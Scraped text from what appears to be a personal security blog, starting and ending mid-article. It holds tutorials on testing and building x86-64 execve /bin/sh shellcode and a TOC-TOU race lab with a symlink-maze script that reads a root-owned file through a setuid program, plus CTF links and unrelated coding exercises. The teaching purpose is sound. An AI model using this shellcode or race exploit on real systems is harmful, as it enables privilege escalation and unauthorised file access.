0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw- 0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7fcd000 0x00007ffff7fcf000 0x0000000000000000 rw- 0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] (gef➤ vmmap is exactly the same of running cat /proc/{process_id}/maps, where process_id is the process of the debugged program. To obtain the process id of the currently running debugged program run info inferior.) In lines 3,4 and 5 we can see that there are 3 memory regions that map the test_shellcode executable with different permissions. We can see that the variable code (0x555555755010) is located in a memory region that has read and write permissions, in line 5. This is the same information that we obtained previously by reading the ELF file (with the readelf command). We can also see that the address pointed by the variable code (0x5555555546c4) is located in a memory region that has read and execute permission, in line 3. Alternative test code Sometimes over the Internet you see code like this: int main(){ char code[]= "\xb8\x3c\x00\x00\x00\xbf\x05\x00\x00\x00\x0f\x05"; void (*shell)(); shell=(void (*)())code; (*shell)(); //shell(); } Here, the code variable is declared inside the main function and it is NOT a pointer. This code WILL NOT work if compiled with: $ gcc -o test_shellcode ./test_shellcode.c The code will compile correctly but it will produce Segmentation fault when executed. The reason is simple, the code variable is located in the stack and since it is a non-executable memory region, if an instruction tries to execute from here the system will produce a segmentation fault. This code WILL work if compiled by passing the flag to make the stack executable: $ gcc -o test_shellcode -z execstack ./test_shellcode.c (Alternatively we can also use the execstack tool to change the executable stack flag of an ELF file.)

TOC - TOU

In this article I want to describe a common race condition vulnerability type known as Time-Of-Check - Time-Of-Use (TOC-TOU). I am going through the following steps: The vulnerability Setup the environment for the challenge Exploit the challenge How to remediate for the vulnerable code The vulnerability Let’s discuss the vulnerability by analysing the following code: // filename: toc_tou.c #include<unistd.h> #include<stdio.h> int main(int argc, char * argv[]) { FILE * file; int can_read, c; can_read = access(argv[1], R_OK); if (can_read == 0) { file = fopen(argv[1], "r"); while((c = fgetc(file)) != EOF){ putc(c, stdout); } fclose(file); } else{ printf("You have no power!\n"); } return 0; } In line 10, the file path given as argument, will be used to check if you have the permission to read the file pointed by it. If you don’t the program will print “You have no power!”. In line 13, the same file path will be used to read the file pointed by it. The problem comes when you provide a path to a file that you can read, in order to pass the check in line 10, and before the program reach line 13 you change the file pointed by the same path. The time between the execution of line 10 and the line 13 is what we have to change the file pointed by the path provided. Even if it may seem that there is not much time between the execution of the two command there is still a race condition that we are going to exploit. In this vulnerable program, the read operation performed by the root user. Of course, it is not a good practice to run a program with high privileges but the program should drop them as soon as possible and run with lowest possible privileges. In this article we are not going to dig more into this aspect. Setup the environment for the challenge To setup the challenge we are going to setup the environment with the following code: #!/bin/bash # filename: create_challenge.sh rm -f file_to_check.txt sudo rm -f file_to_open.txt echo 'public file' > file_to_check.txt echo 'secret file' > file_to_open.txt chmod 700 file_to_open.txt sudo chown root:root file_to_open.txt make sudo chown root:root toc_tou sudo chmod u+s toc_tou Where the makefile is: all: toc_tou toc_tou: toc_tou.c makefile gcc -o toc_tou toc_tou.c Once you run $ ./create_challenge.sh you should have a folder that looks like this: -rwxr-xr-x 1 pippo pippo 265 May 23 08:52 create_challenge.sh* -rw-r--r-- 1 pippo pippo 12 May 23 08:55 file_to_check.txt -rwx------ 1 root root 12 May 23 08:55 file_to_open.txt* -rwxr-xr-x 1 pippo pippo 72 Apr 20 22:38 makefile* -rwsr-xr-x 1 root root 8568 May 23 08:55 toc_tou* -rwxr-xr-x 1 pippo pippo 863 May 23 08:52 toc_tou.c* In line 5, you can see that the toc_tou program has the setuid bit active and the program owner is root. This means that when the program is going to be executed it will run with he effective user ID as root. Exploit the challenge To exploit this program we are going to provide the program a path to a “filesystem maze” so that to reach the file pointed by the path, the system need traverse a lot of folders: #!/bin/bash currentDir=$(pwd) linkOut=0 linkIn=1 numFolders=1900 fileTarget=file_to_check.txt create_folders(){ folder=$1 dirstring="." for index in $(seq 0 $numFolders); do mkdir $folder && cd $folder && dirstring=${dirstring}/$folder ; done ln -s $currentDir/link$linkIn link$linkIn cd $currentDir ln -s $currentDir/$dirstring/link$linkIn link$linkOut linkOut=$(($linkOut+1)) linkIn=$(($linkIn+1)) } create_folders "1" create_folders "2" create_folders "3" create_folders "4" create_folders "5" create_folders "6" create_folders "7" create_folders "8" create_folders "9" create_folders "0" ln -s $fileTarget link$linkOut ln -s link0 link This code will create 10 folders that have 1900 folders inside each of them. It will also create 10 links in the current folder that point to the inner most folder where another link points to the next link in the main folder. This chain of links will end with the link in the main folder that will point to the file we need to check. link –> link0 link0 –> folder –> . . . –> folder –> link1 . . . link8 –> folder –> . . . –> folder –> link9 link9 –> file_to_check.txt As explained before the purpose of this “maze” is to slow down the traversal of the path done by the system. When the system is busy traversing the path to reach the legitimate file used to check the permission, we can change the file pointed by the initial path to a file of our choice. Since the program is running with root permission, we will be able to read any file. Now we can run the program as: $ ./toc_tou link My CPU is an i7 running at 2.90GHz and it takes about 1.5 seconds to traverse the maze to find the file used to check the access permissions. During this time we can have another terminal open to change the pointer of the link given as argument: $ rm link && ln -s file_to_open.txt link A common problem that you can incur while trying this challenge is that when you execute the creation of the maze the system is going to cache them in order to speed-up future operations. To clear the cache from dentries, inodes and page cache, you can execute: # sync && echo 3 > /proc/sys/vm/drop_caches Now, if you try to exploit the vulnerable program again, your system is going to traverse the path again. It is clear that in a real exploitation, you won’t have access to this privileged command therefore you’ll have to wait for the cache to clean itself or use other programs to force the cache to be filled with other data. It is of course possible to create a bigger maze to have more time between the two operations.In my trials, with 36 folders, each of them with 1900 inner folders, the path resolution is going to take 3.6 seconds. With 36 folders, each of them with 1500 inner folders, the path resolution is going to take 2.6 seconds. How to remediate for the vulnerable code The program is vulnerable because it operates on file paths that can be changed after the check operation. To avoid that, the program need to operate on file descriptor. The open function can be used open a file and it returns a file descriptor. Once you have the file descriptor you can use other functions to check the permission of the file, like fstat. int open(const char *pathname, int flags); int fstat(int fd, struct stat *statbuf); In addition to use functions that use file descriptors you can use file pointers too. A file descriptor is an integer used to identify an opened file at kernel level. A file pointer is a C standard library construct, called FILE. The FILE wraps the file descriptor, and adds other features to it. (It is possible to get the file pointer from a file descriptor, and vice verse, with the functions fileno and fdopen.)

CTF

CTF Resources

During the time I have collected various resources that help me practicing CTF skills, divided per each category. Some of the exercises found in these sites are solved in the Security Exercises section. Web Web https://github.com/cure53/XSSChallengeWiki/wiki The repo offer a good collection of XSS related challenges. Although last update is from 2014, it stores a lot of references to other websites with related solution. Web https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection The repo offers examples of XSS in different scenarios. Web https://github.com/s0md3v/AwesomeXSS The repo has good reference material to understand XSS and some references to existing challenges. Reverse Reverse https://challenges.re It offers many reverse challenges dividing them in categories as OS, architecture and levels. It does not provide solutions. Crypto Crypto https://cryptopals.com Very good reference to implementing algorithms. It goes from zero to hero. It helps you to build famous crypto attacks like breaking an MD4 and SHA-1 keyed MAC using length extension. It doesn't offer challenges like broken algorithms to brake or CTF like challenges. Exploit Exploit https://github.com/shellphish/how2heap It is a colletion curated from the Shellphish team from UCSB. Exploit http://pwnable.kr/play.php Very famous and well curated site that offers a good variety of challenges. There are a lot of online write ups if you are stuck. Exploit https://old.liveoverflow.com/binary_hacking/protostar/stack0.html A very good resource for stack-based and heap-based buffer overflow. The challenges were thought for 32 bit architecture and the the online videos as well but with provided the source code you can compile it in 64 bit as well. Exploit https://ropemporium.com The site offers many resources to guide you through the construction of ROP. It offers both 64 and 32 bit examples for the same challenge. Network Forensics -- Miscellaneous Write-up https://github.com/ctfs A collection of write ups from previous CTFs divided per year. CTFs Reference https://ctftime.org This is the place where you want to be to get news and upcoming events always up to date.

ECDSA

Sign and Verify a Message with Openssl ECDSA Library

This article wants to show how to sign and verify a message using an Elliptic Curve Digital Signature Algorithm. In particular, I am going to use secp256k1 class of curves used in Bitcoin.

ELF

Build Your Own Shellcode

A shellcode is a piece of compiled code that, when executed, it is going to launch a shell. It is typically given as input to a program to be eventually executed. In this article, I am going to: Introduce background information to understand the overall process Create an assembly program that invoke an exit system call (exitcode) Create an assembly program that invoke a shellcode Background information The shellcode is a piece of code that operates on the lowest level of the system architecture, therefore some important details are architecture dependent. In order to be run on a target system we need to know low level system details of the target architecture. System call A system call is a way to invoke a function that is executed by the kernel. In Linux there are several way to invoke a system call, the most common ones are either by int 0x80 or by syscall. The int 0x80 method is the legacy way of invoking a system call. It is available both on x86 and x64 architectures but in modern architecture should be avoided because it is slower. The syscall is the default way of invoking a system call only available on x64 architectures. To invoke a syscall we need to know how interact with the system because each architecture has its own way to transition to kernel mode. On Ubuntu, the man page is a good place to start: $ man syscall. Here, you can see that each system call has a number associated to it. Under “Architecture calling conventions”, in the first table you can see that the x86-64 architecture requires the system call number to be placed in the rax register and the return value will be placed again in rax. In the second table, you can see in which register you need to place the parameters passed as arguments. To invoke a system call under the x86-64 architecture you need to place the parameters in rdi, rsi, rdx, r10, r8, r9 (in this order). If a system call needs more than 6 parameters you’ll have to place the other parameters on the stack. Now we need to know what are the numbers associated to the system calls. These numbers are defined usually located in the unistd_64.h file for 64 bit architecture (or in unistd_32.h file for 32 bit architecture). In Ubuntu 18.04 64 bit, the system call numbers for 64 bit architecture are in: /usr/src/linux-headers-4.15.0-52-generic/arch/x86/include/generated/uapi/asm/unistd_64.h. (For 32 bit architecture are in: /usr/src/linux-headers-4.15.0-52-generic/arch/x86/include/generated/uapi/asm/unistd_32.h.) Build Simple Example: exitcode In this example, we are going to build an assembly program to invoke the exit system call. Let’s start by looking at the manual $ man exit. (By doing $ man exit you are actually looking at the C function wrapper around the system call but the semantic and order of the parameters are kept.) This function terminates the running program and returns the integer passed as first parameter. To find the number of the exit system call we need to look at the unistd_64.h file. (Looking at the unistd_64.h file, the exit system call number is 60.) The system call number needs to place in the rax register. Now let’s write a simple assembly program with to invoke the exit system call: ; file: exit64.asm global _start section .text _start: mov rax, 0x3c mov rdi, 0x05 syscall In line 6, 0x3c is the hexadecimal number for the decimal number 60 i.e., the exit system call number. In line 7, 0x05 is the 1st parameter of the exit system call (i.e., the value returned when the program ends). Let’s now compile the code as: $ nasm -f elf64 -o exit64.o exit64.asm $ ld -o exit64 exit64.o If we execute the exit64 we can now see that the return value is indeed 5: $ ./exit64 $ echo $? 5 To test this program we can place its machine code into a test program (as in How to Test a Shellcode) To extract the machine code generated we can observe the decompiled code $ objdump -M intel -d exit64 exit64: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: b8 3c 00 00 00 mov eax,0x3c 400085: bf 05 00 00 00 mov edi,0x5 40008a: 0f 05 syscall $ The hexadecimal numbers in line 9, 10 and 11 (after the address) are the machine code generated from the assembly instructions that are shown in the same line. This is what you want to copy to the test program, i.e.: b8 3c 00 00 00 bf 05 00 00 00 0f 05. If you want to try to run this exitcode in a C test program follow How to Test a Shellcode. To enter an hexadecimal string into a C string use \x before the number, therefore the exitcode will be \xb8\x3c\x00\x00\x00\xbf\x05\x00\x00\x00\x0f\x05. What happen if you try to give this string in input to a program that has a buffer overflow vulnerability? Will this work? Try it on Basic Stack-Based Buffer Overflow) It will not work. Why? To give this string as input to a program we need few more things to take into account. In C a strings end with the null byte i.e., \0 i.e., \x00. The functions that interact with the user to input data stop when they reach the end of the string. (see man page for ) We can immediately see that the exit code contains a lot of null bytes and therefore the complete code will not be copied entirely by those functions. In circumstances the null bytes are not a problem but this is dependent on the input method used by a program. How to avoid null bytes? Let’s revise the exitcode: ; file: exit64_nnb.asm global _start section .text _start: mov al, 0x3c xor rdi,rdi inc di inc di inc di inc di inc di syscall With objdump we can see that this assembly code does not produce any null bytes: objdump -M intel -d ./exit64_nnb ./exit64_nnb: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: b0 3c mov al,0x3c 400082: 48 31 ff xor rdi,rdi 400085: 66 ff c7 inc di 400088: 66 ff c7 inc di 40008b: 66 ff c7 inc di 40008e: 66 ff c7 inc di 400091: 66 ff c7 inc di 400094: 0f 05 syscall This is the code that we are able to give in input to a function that reads input data. Build the shellcode The easiest way to launch a shell is to invoke a the execve system call with the appropriate parameters (see $ man execve). The syscall execve wants 3 parameters. The first points to a string that is the path of the program that needs to be executed. The second parameter is an array of string pointers that point to the command line arguments of the program passed as first parameter. The third parameter is an array of environment variables as string. We want to launch the shell \bin\sh with no arguments. Let’s see the code that opens a shell by invoking an execve: ; file: execve64.asm global _start section .text _start: xor rdi,rdi xor rsi,rsi xor rdx,rdx mov rdi,0x68732f6e69622f2f shr rdi,0x08 push rdi push rsp pop rdi push 0x3b pop rax syscall As described in the Background Information, the system call number needs to be placed in rax, while the parameters in rdi, rsi and then rdx. To correctly fill rdi with the first parameter we need a pointer to the string \bin\sh. This is achieved in line 10, 11 and 12. In line 10, I am moving into rdi the value 0x68732f6e69622f2f. This number is the hexadecimal equivalent of the string hs/nib//. This is the reverse string of //bin/sh (i.e., a shell string). Why the reverse string? If the architecture is little endian a number will be stored in a 8 bytes memory location starting to fill the smallest part of the memory first. In this way the hexadecimal byte 0x68 (of the value 0x68732f6e69622f2f) will be stored in the right most part of a memory, as: After executing line 12, the rsp will point to the first byte of the string, as: (You can see the byte order of your architecture with the command $ lscpu.) In line 11, I am shifting the string by 8 bits to the right. Why? Because this will fill the left hand side of the rdi register with zeros. Why this matter? Because every string in C is null terminated (i.e., terminated by a zero byte). I could have used the value of 0x68732f6e69622f00 in line 10 but this will generate a null byte in the machine code that is better to avoid if we aim to use this code as a string. In line 12, I am pushing the shell string to the stack. Why? On a running program, after executing line 12, the stack pointer register rsp will point to the shell string that is in the stack. For this reason, in line 13 I am saving the address of the stack pointer (rsp) by pushing it to the stack and, in line 14, I am popping out this address to the rdi register (i.e., the first parameter of the execve system call). In line 6,7 and 8 I am cleaning the registers (i.e., setting them to zero). In this way the second and third parameters are already set because we do not need to invoke the shell with any arguments and we do not need environment variables in this case. In line 17 and 18 I am placing the value 0x3b to the register rax because 0x3b is the value of the execve system call (see how to find this number in Background Information). Now, the last thing we need to do is to compile the code and extract the machine code generated, as: $ nasm -f elf64 -o execve64.o execve64.asm $ ld -o execve64 execve64.o $ objdump -M intel -d ./execve64 ./execve64: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: 48 31 ff xor rdi,rdi 400083: 48 31 f6 xor rsi,rsi 400086: 48 31 d2 xor rdx,rdx 400089: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f 400090: 2f 73 68 400093: 48 c1 ef 08 shr rdi,0x8 400097: 57 push rdi 400098: 54 push rsp 400099: 5f pop rdi 40009a: 6a 3b push 0x3b 40009c: 58 pop rax 40009d: 0f 05 syscall To test this program we can place its machine code into a test program (as in How to Test a Shellcode). As we can see, there are no null bytes in the generated machine code, therefore this shellcode is suitable to be used as input in a buffer overflow, try it out on Basic Stack-Based Buffer Overflow. There are several ways to generate a shellcode and this one is just an example. The challenge in shellcoding is to write the smallest possible shellcode. This is the end of this shellcoding walkthrough. I hope it was helpful, additional resources follows. Additional resources More to read about syscall: https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux More to read about exit system call: https://en.wikipedia.org/wiki/Exit_(system_call)

How to Test a Shellcode

A shellcode is a piece of compiled code that is typically given as input to a program that, when executed, is going to launch a shell (see Build Your Own Shellcode). To test a shellcode we are going to used the following code: // filename: test_shellcode.c char *code = "<shellcodegoeshere>"; int main() { void (*shell)(); shell=(void (*)())code; (*shell)(); } In line 2, we are going to copy the shellcode that we want to test. In line 5, we are declaring the variable shell as a pointer to a function that returns void and that takes no arguments. In line 6, we are casting the string pointer code to the same type of the variable shell (i.e.: a function that returns void and that takes no arguments.) In line 7, we are calling the function pointed by the shell variable (passing no parameters). Once we filled the code variable with the shellcode (in line 1), we can compile the program and run it as: $ gcc -o test_shellcode test_shellcode.c $ ./test_shellcode In this way we can understand if the shellcode will work on the current system. To give a shellcode in input to a program in order to execute it we have to be careful about few more things as explained in Build Your Own Shellcode. Understanding the test program The content pointed by the variable code is going to be allocated in an executable portion of the memory layout. The command $ readelf -a ./test_shellcode gives a lot of information. Let’s try to brake it down for easy to digest. If we examine the symbol tables $ readelf -s ./test_shellcode we can see something like this: Symbol table '.symtab' contains 62 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000238 0 SECTION LOCAL DEFAULT 1 2: 0000000000000254 0 SECTION LOCAL DEFAULT 2 3: 0000000000000274 0 SECTION LOCAL DEFAULT 3 ......... 59: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@@GLIBC_2.2 60: 00000000000004d0 0 FUNC GLOBAL DEFAULT 10 _init 61: 0000000000201010 8 OBJECT GLOBAL DEFAULT 22 code In line 10, the symbol code is shown with a Value of 0000000000201010. The Value column represent the address of the symbol. The command $ readelf -S ./test_shellcode shows the header sections of the ELF file: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000000238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000000254 00000254 0000000000000020 0000000000000000 A 0 0 4 ...... [21] .got PROGBITS 0000000000200fc0 00000fc0 0000000000000040 0000000000000008 WA 0 0 8 [22] .data PROGBITS 0000000000201000 00001000 0000000000000018 0000000000000000 WA 0 0 8 [23] .bss NOBITS 0000000000201018 00001018 0000000000000008 0000000000000000 WA 0 0 1 Here, we can see that the .data section has an address of 0000000000201000 and a size of 0000000000000018. The symbol code is defined as the address of 0000000000201010 i.e., inside the .data section. We could have gather the same information by running $ objdump -t ./test: SYMBOL TABLE: 0000000000000238 l d .interp 0000000000000000 .interp 0000000000000254 l d .note.ABI-tag 0000000000000000 .note.ABI-tag 0000000000000274 l d .note.gnu.build-id 0000000000000000 .note.gnu.build-id 0000000000000298 l d .gnu.hash 0000000000000000 .gnu.hash 00000000000002b8 l d .dynsym 0000000000000000 .dynsym ...... 0000000000000000 w *UND* 0000000000000000 _ITM_registerTMCloneTable 0000000000000000 w F *UND* 0000000000000000 __cxa_finalize@@GLIBC_2.2.5 00000000000004d0 g F .init 0000000000000000 _init 0000000000201010 g O .data 0000000000000008 code In line 11, we can see that the symbol code is declared in the section .data. To know the permission that a section has, we can have to look at the Program Headers and at the Section to Segment mapping by running $ readelf -a ./test_shellcode: Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000001f8 0x00000000000001f8 R 0x8 INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238 0x000000000000001c 0x000000000000001c R 0x1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000818 0x0000000000000818 R E 0x200000 LOAD 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0 0x0000000000000228 0x0000000000000230 RW 0x200000 DYNAMIC 0x0000000000000e00 0x0000000000200e00 0x0000000000200e00 0x00000000000001c0 0x00000000000001c0 RW 0x8 NOTE 0x0000000000000254 0x0000000000000254 0x0000000000000254 0x0000000000000044 0x0000000000000044 R 0x4 GNU_EH_FRAME 0x00000000000006d4 0x00000000000006d4 0x00000000000006d4 0x000000000000003c 0x000000000000003c R 0x4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 0x10 GNU_RELRO 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0 0x0000000000000210 0x0000000000000210 R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame 03 .init_array .fini_array .dynamic .got .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .init_array .fini_array .dynamic .got Here we can see that the .data section is mapped into the segment 03 (i.e., the 4th segment). Under the “Program Header” we can count the segments from the top; the first is PHDR segment, the second is INTERP and the fourth is LOAD with permission to read and to write (but not execute!). If we don’t have the execute permission, how come that we are able to run the code?? Let’s run the code in GDB to clarify this point (I am using GEF): Reading symbols from ./test_shellcode...(no debugging symbols found)...done. gef➤ b main Breakpoint 1 at 0x61e gef➤ r Starting program: /home/pippo/ctf/lectures/build_shellcode/test Breakpoint 1, 0x000055555555461e in main () gef➤ info address code Symbol "code" is at 0x555555755010 in a file compiled without debugging. gef➤ x/1g 0x555555755010 0x555555755010 <code>: 0x5555555546c4 gef➤ x/1g 0x5555555546c4 0x5555555546c4: 0x5bf0000003cb8 In line 7, we are printing the address of the global variable code that is located 0x555555755010 (as shown in line 8). This variable is a pointer to the location of memory 0x5555555546c4 (line 10). To understand what are the permission of those different memory locations we can run gef➤ vmmap: gef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x0000555555754000 0x0000555555755000 0x0000000000000000 r-- /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw- 0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7fcd000 0x00007ffff7fcf000 0x0000000000000000 rw- 0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] (gef➤ vmmap is exactly the same of running cat /proc/{process_id}/maps, where process_id is the process of the debugged program. To obtain the process id of the currently running debugged program run info inferior.) In lines 3,4 and 5 we can see that there are 3 memory regions that map the test_shellcode executable with different permissions. We can see that the variable code (0x555555755010) is located in a memory region that has read and write permissions, in line 5. This is the same information that we obtained previously by reading the ELF file (with the readelf command). We can also see that the address pointed by the variable code (0x5555555546c4) is located in a memory region that has read and execute permission, in line 3. Alternative test code Sometimes over the Internet you see code like this: int main(){ char code[]= "\xb8\x3c\x00\x00\x00\xbf\x05\x00\x00\x00\x0f\x05"; void (*shell)(); shell=(void (*)())code; (*shell)(); //shell(); } Here, the code variable is declared inside the main function and it is NOT a pointer. This code WILL NOT work if compiled with: $ gcc -o test_shellcode ./test_shellcode.c The code will compile correctly but it will produce Segmentation fault when executed. The reason is simple, the code variable is located in the stack and since it is a non-executable memory region, if an instruction tries to execute from here the system will produce a segmentation fault. This code WILL work if compiled by passing the flag to make the stack executable: $ gcc -o test_shellcode -z execstack ./test_shellcode.c (Alternatively we can also use the execstack tool to change the executable stack flag of an ELF file.)

Encryption

Encrypt Data Using a TPM

TODO

Exercise

Building Houses

The text of the exercise is the following: A builder is looking to build a row of N houses that can be of K different colours. He has a goal of minimizing cost while ensuring that no two neighbouring houses are not of the same colour. Given an N by K matrix where the nth row and kth column represents the cost to build the nth house with kth colour, return the minimum cost which achieves this goal. Before solving the exercise, we can ask few questions to specify few aspects that might not be clear: Can an house cost 0? No. Can N > K or N < K ? Yes. My solution It is clear that finding the minimum iteratively for each house can return a local minimal solution but we are interested in the global minima. Python C Java import math N = 6 K = 4 cost_matrix = [ [1 , 20, 34, 20], [40, 10, 15, 30], [50, 1, 20, 40], [70, 80, 30, 1 ], [1 , 60, 30, 40], [70, 50, 1 , 20] ] def find_house(row, col, tot, min_tot): if row < N: tot += cost_matrix[row][col] for c in range(K): if c != col: min_tot = find_house(row+1, c, tot, min_tot) else: if min_tot > tot: min_tot = tot return min_tot def main(): print ("Minimum value found:", find_house(0,0,0, math.inf)) #include<stdio.h> #include<limits.h> #define K 4 #define N 6 int cost_matrix[N][K] = { {1 , 20, 34, 20}, {40, 10, 15, 30}, {50, 1, 20, 40}, {70, 80, 30, 1 }, {1 , 60, 30, 40}, {70, 50, 1 , 20} }; int find_house(int row, int col, int tot, int min_tot) { if (row < N) { tot += cost_matrix[row][col]; for (int c=0; c<K; c++) { if (c != col) min_tot = find_house(row+1,c, tot, min_tot); } } else { if (min_tot > tot) min_tot = tot; } return min_tot; } int main() { printf("Minimal cost: %d\n", find_house(0, 0, 0, INT_MAX)); return 0; } public class BuildHouse { static int N=6; static int K=4; static int cost_matrix[][] = { {1 , 20, 34, 20}, {40, 10, 15, 30}, {50, 1, 20, 40}, {70, 80, 30, 1 }, {1 , 60, 30, 40}, {70, 50, 1 , 20} }; public static void main(String[] args) { System.out.println("Minimum value found: "+ findHouse(0,0,0,Integer.MAX_VALUE)); } static int findHouse(int row, int col, int tot, int min_tot) { if (row < N) { tot += cost_matrix[row][col]; for (int c=0; c<K; c++) { if (c != col) min_tot = findHouse(row+1, c, tot, min_tot); } } else { if (min_tot > tot) min_tot = tot; } return min_tot; } } Code Explanation The function find_house is a recursive function that takes the row, col, tot and min_tot as input parameters. The function transform the matrix into a tree and perform a kind of “depth-first” exploration returning the minimum of the total found. row represents the row of the house. col represents column of the house. tot represents the total up to the reached node. min_tot represents the minimum of the cost found up to that moment The recursion stops when all the nodes have been explored. Time complexity: \( O(N^K) \) Space complexity: \( O(N^K) \)

K-Anonymisation on Streaming Data

The text of the exercise is the following: Imagine a stream of records arriving at a rate of one per second. For simplicity the records contain just one variable, a double. The goal is to generalise this variable to achieve a k-anonymity of 5 i.e., no generalised unique output value can appear fewer than 5 times. The effectiveness of the solution can be measured by its impact on data distortion and latency, with the aim of minimising both: Distortion is a measure of how close the generalised values are to the original ones. Latency is a measure of delay between ingesting the input record and publishing the generalised value. The solution should implement the StreamingKFilter interface that accepts InputRecords and transforms them into generalised OutputRecords. Method calls to the StreamingKFilter are strictly single threaded; as such the solution is expected to be single-threaded only. The code of the exercise and the tests are here. Under /src/test you will find two test suites for the solution. In order to run them, instantiate your filter in the​ CandidateFilterFactory.getStreamingKFilter()​ method. The project source code (solution and tests) can be built using Maven. Additional info: K-Anonymity A release of data is said to have the k-anonymity property if the information for each record contained in the release cannot be distinguished from at least k - 1 records whose information also appear in the release. My solution The StreamingKFilter interface contains two methods: void processNewRecord(InputRecord input); Collection<OutputRecord> returnPublishableRecords(); I implemented the processNewRecord as: @Override public void processNewRecord(InputRecord input) { Integer firstElementTime, lastElementTime, elapsedTime; this.inputBuffer.add(input); // calculating elapsed time firstElementTime = this.inputBuffer.get(0).getTime(); lastElementTime = this.inputBuffer.get(this.inputBuffer.size()-1).getTime(); elapsedTime = firstElementTime - lastElementTime; // update the current time this.currentTime = input.getTime(); // if enough records are received then process the block if (this.inputBuffer.size() >= this.blockSize) generateOutputRecords(); // if enough time is elapsed then process the block if (elapsedTime >= this.maxWaitTime && this.inputBuffer.size() >= this.K) { generateOutputRecords(); } } This function will trigger the generateOutputRecords (explained later on) in two circumstances: when there is enough input records received, controlled by the variable blockSize, in line 16. when enough time has passed, controlled by the variable maxWaitTime (and the minimum number of records to obtain k-anonymity has been received), in line 20. The input records are stored in the inputBuffer, in line 5. The function returnPublishableRecords is implemented as: @Override public Collection<OutputRecord> returnPublishableRecords() { Collection<OutputRecord > outputs = this.outputBuffer; this.outputBuffer = new ArrayList<OutputRecord >(); return outputs; } This function returns the records stored in the outputBuffer, filled by the function generateOutputRecords. The main function generateOutputRecords is implemented as: private void generateOutputRecords() { int size; double distortion, anonymizedValue, distortion_min = Double.MAX_VALUE; this.inputBuffer.sort(Comparator.comparing(InputRecord::getRawValue)); while (this.inputBuffer.isEmpty() == false) { // initialize the variables used in the search distortion_min = Double.MAX_VALUE; size = this.K -1; do { // process 'size' number of records size += 1; // process 'size' number of objects, if the remaining are less than this.K then process them all if (size > (this.inputBuffer.size() - this.K) ) size = this.inputBuffer.size(); // compute the distortion and the anonymized value on the records anonymizedValue = 